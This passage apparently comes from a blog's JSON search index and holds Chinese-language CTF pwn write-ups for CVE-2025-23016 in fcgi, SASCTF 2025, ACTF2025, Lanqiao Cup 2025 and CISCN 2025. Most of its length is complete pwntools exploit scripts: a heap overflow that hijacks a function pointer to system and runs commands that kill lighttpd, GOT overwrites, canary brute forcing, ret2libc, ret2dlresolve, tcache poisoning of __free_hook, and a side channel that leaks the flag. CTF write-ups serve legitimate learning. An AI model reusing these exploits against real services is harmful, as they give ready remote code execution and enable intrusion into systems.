*wrNext; /* writer: first free byte * reader: equals stop */ unsigned char *stop; /* reader: last valid byte + 1 * writer: last free byte + 1 */ unsigned char *stopUnget; /* reader: first byte of current buffer * fragment, for ungetc * writer: undefined */ int isReader; //+16 条件1:非null int isClosed; //+20 条件2:null 截断command int wasFCloseCalled; int FCGI_errno; /* error status */ void (*fillBuffProc) (struct FCGX_Stream *stream); void (*emptyBuffProc) (struct FCGX_Stream *stream, int doClose); void *data;} FCGX_Stream; 利用思路 对于每个请求会释放重新分配 struct FCGX_Stream ,第一次请求制造下一次请求的struct FCGX_Stream 上方的空闲堆块。然后切割 ub ,使得下一次请求 nameValue 能分配到 struct FCGX_Stream 正上方的堆块 (大小0x10) 第二次请求堆溢出篡改 struct FCGX_Stream ,劫持其中的 fillBuffProc 函数指针到 system FCGX_GetStr 函数会调用 struct FCGX_Stream 中的 fillBuffProc 函数指针,参数为struct FCGX_Stream ,此时等于执行 system(stream) 。指令长度20字符以内 靶机不出网,新建一个lighttpd默认配置,根路径设置到 /home/ctf ,然后把原来的lighttpd kill了重启一个朴素的 在浏览器访问flag文件 exp12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485from pwn import *context.log_level='debug'"""typedef struct { unsigned char version; unsigned char type; unsigned char requestIdB1; unsigned char requestIdB0; unsigned char contentLengthB1; unsigned char contentLengthB0; unsigned char paddingLength; unsigned char reserved;} FCGI_Header;"""def makeHeader(type, requestId, contentLength, paddingLength): header = p8(1) + p8(type) + p16(requestId) + p16(contentLength)[::-1] + p8(paddingLength) + p8(0) return header"""typedef struct { unsigned char roleB1; unsigned char roleB0; unsigned char flags; unsigned char reserved[5];} FCGI_BeginRequestBody;"""def makeBeginReqBody(role, flags): return p16(role)[::-1] + p8(flags) + b"\\x00" * 5def start(): #return remote('127.0.0.1',9999) return remote('35.241.98.126',30882)def pwn(cmdd): io=start() pl=b'' pl+=makeHeader(1,1,8,0) pl+=makeBeginReqBody(1,0) pl+=makeHeader(9,0,0x28*2+8*4,0) pl+=(p8(0x13)+p8(0x13)+b'z'*0x26)+(p8(3)+p8(3)+b'c'*6)*4+(p8(0x13)+p8(0x13)+b'b'*0x26) io.send(pl) io.close() io=start() elf=ELF('files/challenge') pl=b'' pl+=makeHeader(1,1,8,0) pl+=makeBeginReqBody(1,0) pl+=makeHeader(9,0,0x900,0) print(cmdd) pl+=p32(0xffffffff)*2+b'a'*0x10+cmdd+p32(0)*3+p32(elf.plt['system']) io.send(pl) io.interactive()def pad(data): padding_length = (5 - len(data)) % 5 padded_data = data + b' ' * padding_length return padded_datacmd=pad(b'server.document-root="/home/ctf"\\nserver.port=8888\\n')for i in range(len(cmd)//5): pwn(b' ;echo -n \\''+cmd[i*5:(i+1)*5]+b'\\'>>a') pause(1)cmd=pad(b'pkill -9 lighttpd\\n./lighttpd -f a\\n')for i in range(len(cmd)//5): pwn(b' ;echo -n \\''+cmd[i*5:(i+1)*5]+b'\\'>>b') pause(1)pwn(b' ;chmod +x b;./b'.ljust(20,b' '))# curl http://ip:port/flag","categories":[],"tags":[{"name":"fcgi","slug":"fcgi","permalink":"https://stackc00ki3.github.io/tags/fcgi/"},{"name":"CVE-2025-23016","slug":"CVE-2025-23016","permalink":"https://stackc00ki3.github.io/tags/CVE-2025-23016/"}]},{"title":"SASCTF 2025 Quals Pwn","slug":"SASCTF2025Quals","date":"2025-05-27T03:44:58.000Z","updated":"2025-05-30T08:07:24.605Z","comments":true,"path":"2025/05/27/SASCTF2025Quals/","link":"","permalink":"https://stackc00ki3.github.io/2025/05/27/SASCTF2025Quals/","excerpt":"forking...","text":"My Type题目描述A girl just joined our public channel. She’s quite into the crypto as I can see, very nice. Wonder if we are compatible with each other or not… 题目功能允许多次创建 struct sign 并修改第二个 union{} ,然后会对 sign 结构体按类型检查,检查过以后更新 score 。 123456789101112131415struct sign{ int type; union { __int64 nft; char *compliment; };};struct partner{ int score; __int64 mood;}; 漏洞点存在类型混淆漏洞, edit_nft 设置32位的指针 edit_compliment 修改指针处256字节的内存 原语:任意32位地址写256字节 利用思路先改got strlen为printf泄露libc 然后改got strlen为system 最后system(”/bin/sh”) flag: SAS{y0u_GOT_y0ur_typ3_f0r_r341} EXP123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128#!/usr/bin/env pythonfrom pwncli import *filename = "chall.elf_patched"libcname = "/home/botdebug/.config/cpwn/pkgs/2.40-1ubuntu3/amd64/libc6_2.40-1ubuntu3_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"host = "tcp.sasc.tf"port = 13953elf = context.binary = ELF(filename)context.terminal = ["tmux", "neww"]context.log_level = "debug"if libcname: libc = ELF(libcname)gs = """b *0x0004014FEset debug-file-directory /home/botdebug/.config/cpwn/pkgs/2.40-1ubuntu3/amd64/libc6-dbg_2.40-1ubuntu3_amd64/usr/lib/debugset directories /home/botdebug/.config/cpwn/pkgs/2.40-1ubuntu3/amd64/glibc-source_2.40-1ubuntu3_all/usr/src/glibc/glibc-2.40"""def start(): if args.GDB: return gdb.debug(elf.path, gdbscript=gs) elif args.REMOTE: return remote(host, port) else: return process(elf.path)p = start()def leak_address(): if context.arch == "i386": return u32(p.recv(4)) else: return u64(p.recv(6).ljust(8, b"\\x00"))def leak_address2(timeout=0.1): contains = b"\\x7f" if context.bits == 64 else b"\\xf7" m = p.recvuntil(contains, timeout=timeout) if contains not in m: raise RuntimeError("Cannot get libc addr") if context.bits == 32: return u32(m[-4:]) else: return u64(m[-6:].ljust(8, b"\\x00"))def dbg(): if args.AT: gdb.attach(p, gs) pause()s = lambda x: p.send(x)sl = lambda x: p.sendline(x)sa = lambda x, y: p.sendafter(x, y)sla = lambda x, y: p.sendlineafter(x, y)r = lambda x: p.recv(x)ru = lambda x: p.recvuntil(x)rl = lambda x: p.recvline(x)ia = lambda: p.interactive()op32 = make_packer(32, endian="big", sign="unsigned") # opposite p32op64 = make_packer(64, endian="big", sign="unsigned") # opposite p64# Your exploit heredef create_nft(val): ru(b"Enter your choice (n/c): ") sl(b"n") ru("the NFT: ") sl(str(val))def create_comp(val): ru(b"Enter your choice (n/c): ") sl(b"c") ru("(max 256 chars): ") sl(val)def edit_nft(val): ru("Enter your choice (n/c/p): ") sl(b"n") ru("the NFT: ") sl(str(val))def edit_comp(val): ru("Enter your choice (n/c/p): ") sl(b"c") ru("(max 256 chars): ") sl(val)def play_sign(): ru("Enter your choice (n/c/p): ") sl(b"p")def exp(): create_comp(b"BBB") edit_nft(elf.got["strlen"]) edit_comp(p64(elf.plt["printf"])) play_sign() create_comp(b"%27$p") play_sign() ru(b"\\n") libc_base = int(p.recvuntil(b"\\n", True), 16) - 0x2A3B8 leak_ex2(libc_base) libc.address = libc_base create_comp(b"BBB") edit_nft(elf.got["strlen"]) edit_comp(p64(libc.sym['system'])) play_sign() create_comp(b"/bin/sh\\x00") play_sign() ia()exp() Mickey 1337题目描述You are a space worker from a human colony on a harsh planet. In order to survive, you can create copies of yourself to perform dangerous work, but the fate of the copies is usually sad. Try to make the most of it. 题目功能主线程无限fork子进程,子进程中输入信息后结束子进程。无泄露地址功能。 漏洞点无pie,栈溢出但有canary,允许无限fork。 利用思路由于fork的子进程canary相同,one-by-one 爆破 Canary 然后通过leave控制rbp,利用以下gadget实现泄露任意地址原语,泄露libc地址 123.text:00000000004012D4 mov rax, [rbp-8].text:00000000004012D8 mov rdi, rax ; s.text:00000000004012DB call _puts 最后ret2libc EXP123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130#!/usr/bin/env pythonfrom pwncli import *filename = "chall.elf_patched"libcname = "./libc.so.6"host = "tcp.sasc.tf"port = 10080elf = context.binary = ELF(filename)context.terminal = ["tmux", "neww"]context.log_level = "debug"if libcname: libc = ELF(libcname)gs = """b mainb *0x0004012DBset debug-file-directory /home/botdebug/.config/cpwn/pkgs/2.40-1ubuntu3/amd64/libc6-dbg_2.40-1ubuntu3_amd64/usr/lib/debugset directories /home/botdebug/.config/cpwn/pkgs/2.40-1ubuntu3/amd64/glibc-source_2.40-1ubuntu3_all/usr/src/glibc/glibc-2.40"""def start(): if args.GDB: return gdb.debug(elf.path, gdbscript=gs) elif args.REMOTE: return remote(host, port) else: return process(elf.path)p = start()def leak_address(): if context.arch == "i386": return u32(p.recv(4)) else: return u64(p.recv(6).ljust(8, b"\\x00"))def leak_address2(timeout=0.1): contains = b"\\x7f" if context.bits == 64 else b"\\xf7" m = p.recvuntil(contains, timeout=timeout) if contains not in m: raise RuntimeError("Cannot get libc addr") if context.bits == 32: return u32(m[-4:]) else: return u64(m[-6:].ljust(8, b"\\x00"))def dbg(): if args.AT: gdb.attach(p, gs) pause()s = lambda x: p.send(x)sl = lambda x: p.sendline(x)sa = lambda x, y: p.sendafter(x, y)sla = lambda x, y: p.sendlineafter(x, y)r = lambda x: p.recv(x)ru = lambda x: p.recvuntil(x)rl = lambda x: p.recvline(x)ia = lambda: p.interactive()op32 = make_packer(32, endian="big", sign="unsigned") # opposite p32op64 = make_packer(64, endian="big", sign="unsigned") # opposite p64# Your exploit heredef send_child(msg): ru(b'[Mickey-') sl(b'1') ru(b'[Mickey-') child = int(p.recvuntil(b']: ', True)) # leak_ex2(child) s(msg)def send_child2(msg): ru(b'[Mickey-') sl(b'1') pause() ru(b'[Mickey-') child = int(p.recvuntil(b']: ', True)) # leak_ex2(child) s(msg)# gift['elf'] = elf# CG.set_find_area(True,True,False)def exp(): canary = '\\x00' for i in range(7): for i in range(256): send_child('a'*0x18 + canary + chr(i)) a = p.recvuntil(b'\\n') if not b"lost" in a: canary += chr(i) break print(f"canary: {canary}") ru(b'yourself') # dbg() payload = flat('a'*0x18, canary, 0x400778+8, 0x004012D4) send_child2(payload) libc_base = leak_address() - 0x8ce80 leak_ex2(libc_base) libc.address = libc_base pop_rdi_addr = libc_base + 0x11903c pop_rsi_addr = libc_base + 0x11a3fd pop_rdx_addr = libc_base + 0x67e22 pop_rax_addr = libc_base + 0x84dff syscall_addr = libc_base + 0x9e276 gadget_addr = libc_base + 0x9d9c5 #mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax; free_hook_addr = libc_base + 0x218148 malloc_hook_addr = libc_base + 0x218140 system_addr = libc_base + 0x5af30 bin_sh_addr = libc_base + 0x1d944a setcontext_addr = libc_base + 0x4ae10 payload = flat('a'*0x18, canary, 0, pop_rdi_addr+1, pop_rdi_addr, bin_sh_addr, libc.sym['system']) send_child2(payload) ia()exp()","categories":[],"tags":[{"name":"bruteforce canary","slug":"bruteforce-canary","permalink":"https://stackc00ki3.github.io/tags/bruteforce-canary/"},{"name":"type confusion","slug":"type-confusion","permalink":"https://stackc00ki3.github.io/tags/type-confusion/"}]},{"title":"ACTF2025","slug":"ACTF2025","date":"2025-04-27T02:42:38.000Z","updated":"2025-04-28T09:51:36.556Z","comments":true,"path":"2025/04/27/ACTF2025/","link":"","permalink":"https://stackc00ki3.github.io/2025/04/27/ACTF2025/","excerpt":"no way, link map again?","text":"Pwnonly_read题目功能 漏洞点由于是libc 2.34+编译,elf中已经没有csu等常见gadget,唯一可利用的是leave,可以用来控制rbp。又因为取buf地址时通过计算rbp-0x80来获取,操控rbp相当于能控制read写入的地址,达成写任意地址原语。controlling-rbp 利用思路由于没有 libc leak ,又缺少 gadget ,考虑不需要泄露的 ret2dlresolve。与常规ret2dlresolve不同的是,因为没有 pop rdi ; ret 的gadget,不能是最后调用system,要直接劫持rip到one_gadget。 其他思路@Tplus 师傅的方法:通过rbp来控制rax,这样部分写read got为syscall就可以sigreturn进行srop exp123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123#!/usr/bin/env python''' author: GeekCmore time: 2025-04-26 18:26:00'''from pwn import *filename = "only_read_patched"libcname = "/home/botdebug/.config/cpwn/pkgs/2.39-0ubuntu8.4/amd64/libc6_2.39-0ubuntu8.4_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"host = "1.95.129.168"port = 9999elf = context.binary = ELF(filename)context.terminal = ['tmux', 'neww']context.log_level = "debug"if libcname: libc = ELF(libcname)gs = '''b *0x401153set debug-file-directory /home/botdebug/.config/cpwn/pkgs/2.39-0ubuntu8.4/amd64/libc6-dbg_2.39-0ubuntu8.4_amd64/usr/lib/debug'''def start(): if args.GDB: return gdb.debug(elf.path, gdbscript = gs) elif args.REMOTE: return remote(host, port) else: return process(elf.path)p = start()def leak_address(): if context.arch == 'i386': return u32(p.recv(4)) else: return u64(p.recv(6).ljust(8, b'\\x00'))def leak_address2(timeout=0.1): contains = b"\\x7f" if context.bits == 64 else b"\\xf7" m = p.recvuntil(contains, timeout=timeout) if contains not in m: raise RuntimeError("Cannot get libc addr") if context.bits == 32: return u32(m[-4:]) else: return u64(m[-6:])def dbg(): if args.AT: gdb.attach(p,gs) pause()s = lambda x : p.send(x)sl = lambda x : p.sendline(x)sa = lambda x , y : p.sendafter(x , y)sla = lambda x , y : p.sendlineafter(x , y)r = lambda x : p.recv(x)ru = lambda x : p.recvuntil(x)rl = lambda x : p.recvline(x)ia = lambda : p.interactive()op32 = make_packer(32, endian='big', sign='unsigned') # opposite p32op64 = make_packer(64, endian='big', sign='unsigned') # opposite p64rop = ROP(elf)n64 = lambda x: (x + 0x10000000000000000) & 0xFFFFFFFFFFFFFFFFdef build_fake_link_map(fake_linkmap_addr, func, base_func='read'): offset = n64(func - libc.sym[base_func]) linkmap = p64(offset) # l_addr linkmap = linkmap.ljust(0x68, b'\\x00') linkmap += p64(elf.bss()) # l_info[5] linkmap += p64(fake_linkmap_addr + 0x100) # l_info[6] linkmap = linkmap.ljust(0xf8, b'\\x00') linkmap += p64(fake_linkmap_addr + 0x110) # l_info[23] linkmap += p64(0) + p64(elf.got[base_func] - 8) # Elf64_Dyn linkmap += p64(0) + p64(fake_linkmap_addr + 0x120) # Elf64_Dyn linkmap += p64(n64(elf.bss() - offset)) + p32(7) + p32(0) # Elf64_Rel return linkmapdef exp(): if args.REMOTE: ru("Submit the token generated by `hashcash -mb26") p.recvrepeat(0.5) sl(input()) ru(b'Here is your challenge~\\n') sleep(1) read_plt = 0x401040 read_got = 0x404000 read = 0x401142 write_addr = 0x404500 resolve_plt = elf.get_section_by_name('.plt').header.sh_addr fake_linkmap_addr = 0x404500 + 0x80 + 8*4 one_gadget = [0x583ec, 0x583f3, 0xef4ce, 0xef52b] payload = flat( "A" * 0x80, write_addr+0x80, # rbp #1 read # retaddr #1 ) s(payload) sleep(1) payload = flat( 0, flat( ).ljust(0x78, b"B"), # retaddr #3 elf.bss()+0x100, # rbp #2 resolve_plt + 6, # retaddr #2 fake_linkmap_addr, 0, build_fake_link_map(fake_linkmap_addr, one_gadget[3]) ) s(payload) ia()exp() AFL sandbox (复盘)题目功能用afl fuzz一个程序 harness, harness 功能是从 /tmp/shellcode 读入shellcode并执行 harness启用沙盒 可以orw,但是 AFL 会将 stdout, stderr 重定向到 /dev/null 利用思路由于AFL会反馈程序是运行超时还是crash,通过这两个的区别来侧信道爆破flag exp12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182from pwn import *context.arch = "amd64"context.bits = 64# context.log_level = "ERROR"if not args.REMOTE: file = open('/tmp/shellcode.bin', 'wb')zeros = '0'*12difficulty = 12def is_valid(digest): if sys.version_info.major == 2: digest = [ord(i) for i in digest] bits = ''.join(bin(i)[2:].zfill(8) for i in digest) return bits[:difficulty] == zerosdef sol(prefix): i = 0 while True: i += 1 s = prefix + str(i) if is_valid(hashlib.sha256(s.encode()).digest()): return idef check(i, c): shellcode = " push rbp\\n" shellcode += " sub rsp, 300\\n" shellcode += shellcraft.open('/flag') shellcode += shellcraft.read('rax', 'rsp', 100) shellcode += f""" cmp byte ptr[rsp+{i}], {c} jbe $ """ shellcode = asm(shellcode) if not args.REMOTE: file.write(shellcode) exit(0) # p = process(["python", "./wrapper.py"]) p = remote("127.0.0.1", 9999) p.recvuntil(b"sha256(") prefix = p.recvuntil(b" +", True).decode() p.sendline(str(sol(prefix)).encode()) p.recvline("> ") p.recvline("so, upload your program (in hex encoding)") p.sendline(shellcode.hex().encode()) p.recvline("> ") p.sendline() res = p.recvrepeat(15) p.close() if b'Timeout' in res: return True elif b'crash with': return Falsei = 0flag = ""while True: l = 0x20 r = 0x7f while l < r: m = (l+r)//2 if check(i,m): r = m else: l = m+1 sleep(5) flag += chr(l) log.info(f"flag: {flag}") if "}" in flag: break i+=1","categories":[],"tags":[{"name":"leakless","slug":"leakless","permalink":"https://stackc00ki3.github.io/tags/leakless/"},{"name":"bof","slug":"bof","permalink":"https://stackc00ki3.github.io/tags/bof/"},{"name":"ret2dlresolve","slug":"ret2dlresolve","permalink":"https://stackc00ki3.github.io/tags/ret2dlresolve/"},{"name":"no gadget","slug":"no-gadget","permalink":"https://stackc00ki3.github.io/tags/no-gadget/"}]},{"title":"蓝桥杯2025","slug":"lqb2025","date":"2025-04-27T02:09:00.000Z","updated":"2025-04-27T03:04:23.541Z","comments":true,"path":"2025/04/27/lqb2025/","link":"","permalink":"https://stackc00ki3.github.io/2025/04/27/lqb2025/","excerpt":"hh","text":"pwnRuneBreach boss胜利时允许输入shellcode,但沙盒禁用了execve和execveat,使用orw绕过 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118#!/usr/bin/env python""" author: GeekCmore time: 2025-04-26 09:43:46"""from pwncli import *filename = "chall_patched"libcname = "/home/botdebug/.config/cpwn/pkgs/2.39-0ubuntu8.4/amd64/libc6_2.39-0ubuntu8.4_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"host = "39.105.2.63"port = 36704elf = context.binary = ELF(filename)context.terminal = ["tmux", "neww"]context.log_level = "debug"if libcname: libc = ELF(libcname)gs = """b mainset debug-file-directory /home/botdebug/.config/cpwn/pkgs/2.39-0ubuntu8.4/amd64/libc6-dbg_2.39-0ubuntu8.4_amd64/usr/lib/debug"""def start(): if args.GDB: return gdb.debug(elf.path, gdbscript=gs) elif args.REMOTE: return remote(host, port) else: return process(elf.path)p = start()def leak_address(): if context.arch == "i386": return u32(p.recv(4)) else: return u64(p.recv(6).ljust(8, b"\\x00"))def leak_address2(timeout=0.1): contains = b"\\x7f" if context.bits == 64 else b"\\xf7" m = p.recvuntil(contains, timeout=timeout) if contains not in m: raise RuntimeError("Cannot get libc addr") if context.bits == 32: return u32(m[-4:]) else: return u64(m[-6:])def dbg(): if args.AT: gdb.attach(p, gs) pause()s = lambda x: p.send(x)sl = lambda x: p.sendline(x)sa = lambda x, y: p.sendafter(x, y)sla = lambda x, y: p.sendlineafter(x, y)r = lambda x: p.recv(x)ru = lambda x: p.recvuntil(x)rl = lambda x: p.recvline(x)ia = lambda: p.interactive()op32 = make_packer(32, endian="big", sign="unsigned") # opposite p32op64 = make_packer(64, endian="big", sign="unsigned") # opposite p64# Your exploit heredef cmd(i): sla("", i)def add(size, msg): cmd("1") ru("") s(str(size)) ru("") s(msg)def edit(idx, msg): cmd("2") ru("") s(str(idx)) ru("") s(msg)def show(idx): cmd("3") ru("") s(str(idx))def dele(idx): cmd("4") ru("") s(str(idx))def exp(): for i in range(4): ru("Defend? (y/N):") sl("N") ru("Say your last word to your territory: ") s(flat(ShellcodeMall.amd64.cat_flag)) ia()exp() miscezEvtx 过滤所有警告,找到了攻击者访问成功的一个敏感文件 confidential.docx flowzipforemost flowzip.pcapng 将提取出的所有zip解压 在TC中使用Ctrl+B全部展开 Cryptoengima 配置相同的enigma从而解密 ECBTrain 测试发现auth只来自于用户名,分组经过测试是16个字符一组。 由于要构造admin的auth但不能注册为admin,又因为是ECB加密,每个块加密之间独立,于是可以把第二个分组设置为admin,提取出该块加密后的auth即可 reShadowPhases在strcmp处下断点,断下后查看str2的内存,获得解密后的flag","categories":[],"tags":[{"name":"orw","slug":"orw","permalink":"https://stackc00ki3.github.io/tags/orw/"},{"name":"sandbox","slug":"sandbox","permalink":"https://stackc00ki3.github.io/tags/sandbox/"}]},{"title":"长城杯&ciscn 2025 浙江分区赛 AWDP Pwn","slug":"ciscn2025mid","date":"2025-04-10T05:47:51.000Z","updated":"2025-04-27T02:11:44.360Z","comments":true,"path":"2025/04/10/ciscn2025mid/","link":"","permalink":"https://stackc00ki3.github.io/2025/04/10/ciscn2025mid/","excerpt":"服务异常 * 666","text":"typo题目功能12345struct chunk{ _QWORD size; char buf[size];} 标准菜单题 add: size<=0x200free: 指针清零edit: 设置新size并输入无show 漏洞点edit 中往 chunk 上写入新 size 时 sprintf 参数位置错误,导致往 chunk 写 size 时越界写同时也存在格式化字符串漏洞 ,\\x00截断 构造chunk overlap 释放到然后partial overwrite fd到stdout,通过stdout leak 修复思路比赛时思路比赛时是硬是把参数位置纠正了 1234567891011.text:0000000000001662 lea rsi, maxlen ; "%lu".text:0000000000001669 mov eax, [rbp+var_11C].text:000000000000166F cdqe.text:0000000000001671 lea rdx, ds:0[rax*8].text:0000000000001679 lea rax, chunks.text:0000000000001680 mov rax, [rdx+rax].text:0000000000001684 lea rdx, [rbp+s] ; format.text:000000000000168B mov ecx, 8.text:0000000000001690 mov rdi, rax ; s.text:0000000000001693 mov eax, 0.text:0000000000001698 call _snprintf 更多思路学习一下其他师傅的思路:_snprintf改为printf N0wayBack直接nop call _snprintf rbp将snprintf函数nop掉修改为直接给heap->size赋值 S1nyer break思路先free一个到tcache,然后在该堆块上利用堆溢出改大size制造heap overlap,最后通过分配来切割overlap的chunk,让tcaches fd踩上libc地址 因为sprintf末尾自动加\\x00,不好paritial overwrite fd,再构造一个overlap,使得分配到踩上了libc地址的tcache chunk上方,从而能parital overwrite fd为stdout,通过stdout泄露libc地址 最后因为是2.31可以tcache poisoning打free_hook为system,getshell exp123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168#!/usr/bin/env python''' author: GeekCmore time: 2025-04-13 01:51:22'''from pwncli import *filename = "pwn_patched"libcname = "/home/botdebug/.config/cpwn/pkgs/2.31-0ubuntu9.17/amd64/libc6_2.31-0ubuntu9.17_amd64/lib/x86_64-linux-gnu/libc.so.6"host = "127.0.0.1"port = 1337elf = context.binary = ELF(filename)context.terminal = ['tmux', 'neww']context.log_level = "debug"if libcname: libc = ELF(libcname)gs = '''dir /home/botdebug/.config/cpwn/pkgs/2.31-0ubuntu9.17/amd64/glibc-source_2.31-0ubuntu9.17_all/usr/src/glibc/glibc-2.31/mallocset debug-file-directory /home/botdebug/.config/cpwn/pkgs/2.31-0ubuntu9.17/amd64/libc6-dbg_2.31-0ubuntu9.17_amd64/usr/lib/debug'''def start(): if args.GDB: return gdb.debug(elf.path, gdbscript = gs) elif args.REMOTE: return remote(host, port) else: return process(elf.path)p = start()def leak_address(): if context.arch == 'i386': return u32(p.recv(4)) else: return u64(p.recv(6).ljust(8, b'\\x00'))def leak_address2(timeout=0.1): contains = b"\\x7f" if context.bits == 64 else b"\\xf7" m = p.recvuntil(contains, timeout=timeout) if contains not in m: raise RuntimeError("Cannot get libc addr") if context.bits == 32: return u32_ex(m[-4:]) else: return u64_ex(m[-6:])def dbg(): if args.AT: gdb.attach(p,gs) pause()s = lambda x : p.send(x)sl = lambda x : p.sendline(x)sa = lambda x , y : p.sendafter(x , y)sla = lambda x , y : p.sendlineafter(x , y)r = lambda x : p.recv(x)ru = lambda x : p.recvuntil(x)rl = lambda x : p.recvline(x)ia = lambda : p.interactive()op32 = make_packer(32, endian='big', sign='unsigned') # opposite p32op64 = make_packer(64, endian='big', sign='unsigned') # opposite p64# Your exploit heredef cmd(i): sla("", i)def add(idx, size): cmd('1') ru("Index: ") sl(str(idx)) ru("Size: ") sl(str(size)) #......def dele(idx): cmd('2') ru("Index: ") sl(str(idx))def edit(idx,size, msg): cmd('3') ru("Index: ") sl(str(idx)) ru("New size of content: ") s(size) ru("What do you want to say: ") s(msg) #......def exp(): add(0, 0x20) add(1, 0x200) # ub add(2, 0x20) add(3, 0x200) # ub add(4, 0x60) # hijack add(5, 0x200) add(6, 0x60) add(7, 0x20) add(10, 0x20) add(11, 0x20) add(12, 0x20) # another chunk for tcache poisoning add(13, 0x20) add(14, 0x30) # make chunk1 & chunk2 ub size # in chunk1: 2,3,4 edit(0, b'A'*0x28+p64(0x4c1),b'aaa') edit(2, b'A'*0x28+p64(0x491),b'aaa') # ub: 1 dele(1) # tcache: 4 -> 6 dele(6) dele(4) # split ub chunk, make tcache chunk 4 fd -> main_arena add(1,0x1e0) add(6,0x200) add(4,0x40) # corrupt chunk msg length to partial overwrite fd edit(2, flat(f"%{0x1f0}c", 0x510),b"AAA" ) edit(4, p64(0x510), b"A"*0x40 + p64(0x71) + b"\\x98\\x76") # corrupt stdout to leak address add(8, 0x60) add(9, 0x60) edit(9, b"AAA", p64(0xfbad1800)+p64(0)*3+b'\\x00') libc_base = leak_address2() - 0x1ec980 leak_ex2(libc_base) libc.address = libc_base # tcache poisoning attack free_hook dele(13) dele(12) edit(10, b'A'*0x30 + p64(0x222), b"AAA") edit(11, b'AAA', b"A"*0x20 + p64(0x31) + p64(libc.sym["__free_hook"]-8)) # make free_hook = system add(15, 0x20) add(16, 0x20) edit(16, b"AAA", p64(libc.sym["system"])) #trigger free hook -> system("/bin/sh") edit(11, b'AAA', b"A"*0x20 + p64(0x31) + b"/bin/sh\\x00") dele(15) dbg() ia()while True: try: exp() sleep(0.5) p.close() p = start() except Exception: p.close() p = start() prompt题目功能分两个数组,一个chunks一个sizes add: size<=0x500dele: 指针清零edit: 按用户要求的长度读入到chunk,存在溢出show: printf(“%s”)输出,\\x00截断 启用了沙盒 1234567891011121314151617181920212223242526272829303132333435 line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x1e 0xc000003e if (A != ARCH_X86_64) goto 0032 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x1b 0xffffffff if (A != 0xffffffff) goto 0032 0005: 0x15 0x1a 0x00 0x00000038 if (A == clone) goto 0032 0006: 0x15 0x19 0x00 0x00000039 if (A == fork) goto 0032 0007: 0x15 0x18 0x00 0x0000003a if (A == vfork) goto 0032 0008: 0x15 0x17 0x00 0x0000003b if (A == execve) goto 0032 0009: 0x15 0x16 0x00 0x0000003e if (A == kill) goto 0032 0010: 0x15 0x15 0x00 0x00000052 if (A == rename) goto 0032 0011: 0x15 0x14 0x00 0x00000054 if (A == rmdir) goto 0032 0012: 0x15 0x13 0x00 0x00000057 if (A == unlink) goto 0032 0013: 0x15 0x12 0x00 0x0000005a if (A == chmod) goto 0032 0014: 0x15 0x11 0x00 0x0000005b if (A == fchmod) goto 0032 0015: 0x15 0x10 0x00 0x0000005c if (A == chown) goto 0032 0016: 0x15 0x0f 0x00 0x0000005d if (A == fchown) goto 0032 0017: 0x15 0x0e 0x00 0x00000065 if (A == ptrace) goto 0032 0018: 0x15 0x0d 0x00 0x00000069 if (A == setuid) goto 0032 0019: 0x15 0x0c 0x00 0x0000006a if (A == setgid) goto 0032 0020: 0x15 0x0b 0x00 0x00000071 if (A == setreuid) goto 0032 0021: 0x15 0x0a 0x00 0x00000072 if (A == setregid) goto 0032 0022: 0x15 0x09 0x00 0x00000075 if (A == setresuid) goto 0032 0023: 0x15 0x08 0x00 0x00000077 if (A == setresgid) goto 0032 0024: 0x15 0x07 0x00 0x0000009d if (A == prctl) goto 0032 0025: 0x15 0x06 0x00 0x000000c8 if (A == tkill) goto 0032 0026: 0x15 0x05 0x00 0x000000ea if (A == tgkill) goto 0032 0027: 0x15 0x04 0x00 0x00000104 if (A == fchownat) goto 0032 0028: 0x15 0x03 0x00 0x00000107 if (A == unlinkat) goto 0032 0029: 0x15 0x02 0x00 0x0000010c if (A == fchmodat) goto 0032 0030: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0032 0031: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0032: 0x06 0x00 0x00 0x00000000 return KILL 看着吓人但orw还是可用的 修复思路比赛时思路调整为阻止超过堆块大小的输入 123456789101112131415161718192021222324252627282930313233.text:0000000000001AEC mov edx, [rbp+var_18].text:0000000000001AEF movsxd rdx, edx.text:0000000000001AF2 lea rcx, ds:0[rdx*8].text:0000000000001AFA lea rdx, qword_50E0.text:0000000000001B01 mov r10, [rcx+rdx].text:0000000000001B05 mov rax, [rbp+var_28].text:0000000000001B09 mov rax, [rax+40h].text:0000000000001B0D test rax, rax.text:0000000000001B10 jz short loc_1B69.text:0000000000001B12 mov rax, [rbp+var_28].text:0000000000001B16 mov rax, [rax+48h].text:0000000000001B1A test rax, rax.text:0000000000001B1D jz short loc_1B69.text:0000000000001B1F mov eax, [rbp+var_14].text:0000000000001B22 movsxd rdx, eax.text:0000000000001B25 mov rax, [rbp+var_28].text:0000000000001B29 mov rax, [rax+40h].text:0000000000001B2D cmp rdx, rax.text:0000000000001B30 cmovbe rax, rdx.text:0000000000001B34 mov [rbp+n], rax.text:0000000000001B38 mov rax, [rbp+var_28].text:0000000000001B3C mov rcx, 